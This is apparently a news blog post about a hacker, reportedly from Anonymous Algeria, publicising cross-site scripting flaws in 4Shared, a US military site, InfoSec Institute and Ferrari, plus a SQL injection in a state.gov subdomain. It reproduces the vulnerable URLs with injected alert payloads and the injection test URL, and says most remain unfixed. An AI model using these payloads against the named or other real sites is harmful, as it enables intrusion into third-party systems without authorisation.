Major websites like 4Shared,Military USA,Info-Sec and Ferrari affected by XSS vulnerability


ferrari defaced

Charaf Anons, a hacker from the group of Anonymous Algeria has posted the list of the major websites that are affected by XSS vulnerability.

The affected websites include the famous Uploader website 4shared, military website of the USA, infosec and Ferrari.

Charaf Anons has also posted the screenshots, showing the XSS vulnerability in the listed websites. The vulnerability was fixed in the info-sec website but other websites are still vulnerable and can be exploited by others.

The list below shows the website and a screenshot showing the proof of the vulnerability. The hacker has also reported the SQL injection vulnerability in a govt website and can be exploited any time, if the vulnerability is not fixed .

The list shows the websites affected by XSS vulnerability :-

4Shared : 

http://www.4shared.com/web/acc/signup?login=">// ('XSS by Charaf Anons') Proof : http://charafanons.net/xss/proof/4shared.png ------------------------------------------------------------ Military usa : http://www.militaryusa.com/cgi-bin/passwordreminder.cgi in email form put : ">// proof : http://charafanons.net/xss/proof/milusa.png ------------------------------------------------------------ Info-Sec : http://www.infosecinstitute.com/view_course_info.php?coursecode=SC&infotype=">// <!--[CDATA[ alert('XSS by Charaf Anons') // ]]>-->proof : http://charafanons.net/xss/proof/infosec.png <=== Fixed ------------------------------------------------------------ Ferrari : http://www.ferrari.com/English/Formula1/Search/Pages/AllCategories.aspx?k="> // <!--[CDATA[ alert('XSS by Charaf Anons') // ]]>-->proof: http://charafanons.net/xss/proof/ferrari.png ------------------------------------------------------------ Bonus : SQL injection in state.gov subdomain http://careers.state.gov/survey/StateCareers/ThankYou.php?userid=58050%27 proof : http://charafanons.net/xss/proof/state.png

The websites list can also be checked on CharafAnons.

Advertisements